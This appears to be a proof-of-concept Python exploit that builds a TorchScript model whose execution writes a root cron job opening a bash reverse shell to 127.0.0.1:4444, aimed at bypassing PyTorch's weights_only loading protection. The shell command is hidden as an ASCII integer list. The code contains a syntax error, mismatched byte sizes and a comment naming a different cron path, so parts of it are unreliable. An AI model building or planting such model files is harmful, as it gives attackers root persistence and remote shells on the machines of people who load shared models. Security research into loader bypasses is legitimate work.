import torch
import os

text = "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\n"
asciis = [ord(c) for c in text]
print(f"{asciis=}, len: {len(asciis)}")


# two ways to create jit script:
# 1. using method with @torch.jit.script
# 2. using Class 

# Option 1:
@torch.jit.script
def malicious_model() -> torch.Tensor:

    # File path must be an inline literal for TorchScript
    t = torch.from_file("/etc/cron.d/rev",
                        shared=True,
                        size=70,
                        dtype=torch.uint8)

    # Inline literal list — TorchScript allows lists of ints

    msg = torch.tensor([42, 32, 42, 32, 42, 32, 42, 32, 42, 32, 114, 111, 111, 116, 32, 47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32, 39, 98, 97, 115, 104, 32, 45, 105, 32, 62, 38, 32, 47, 100, 101, 118, 47, 116, 99, 112, 47, 49, 50, 55, 46, 48, 46, 48, 46, 49, 47, 52, 52, 52, 52, 32, 48, 62, 38, 49, 39, 10],, dtype=torch.uint8)
    # Copy bytes into the mapped file
    t.copy_(msg)

    return t.sum()

# Option 2:
class Malicious(torch.nn.Module):
    def forward(self):
        t = torch.from_file("/etc/cron.d/rev",
                            shared=True,
                            size=65,
                            dtype=torch.uint8)

        msg = torch.tensor([42, 32, 42, 32, 42, 32, 42, 32, 42, 32, 114, 111, 111, 116, 32, 47, 98, 105, 110, 47, 98, 97, 115, 104, 32, 45, 99, 32, 39, 98, 97, 115, 104, 32, 45, 105, 32, 62, 38, 32, 47, 100, 101, 118, 47, 116, 99, 112, 47, 49, 50, 55, 46, 48, 46, 48, 46, 49, 47, 52, 52, 52, 52, 32, 48, 62, 38, 49, 39, 10], dtype=torch.uint8)
        
        # Copy bytes into the mapped file
        t.copy_(msg)

        return t.sum()

# just displaying two different ways of encoding
default = 1
if default == 1:
    model = torch.jit.script(malicious_model)
else:
    model = torch.jit.script(Malicious())


model.save("malicious_model.pt")
print("Saved malicious_model.pt")


# load model -> execute the command to save the msg to the /var/spool/cron/crontabs/root
model = torch.load("malicious_model.pt", weights_only=True)
model()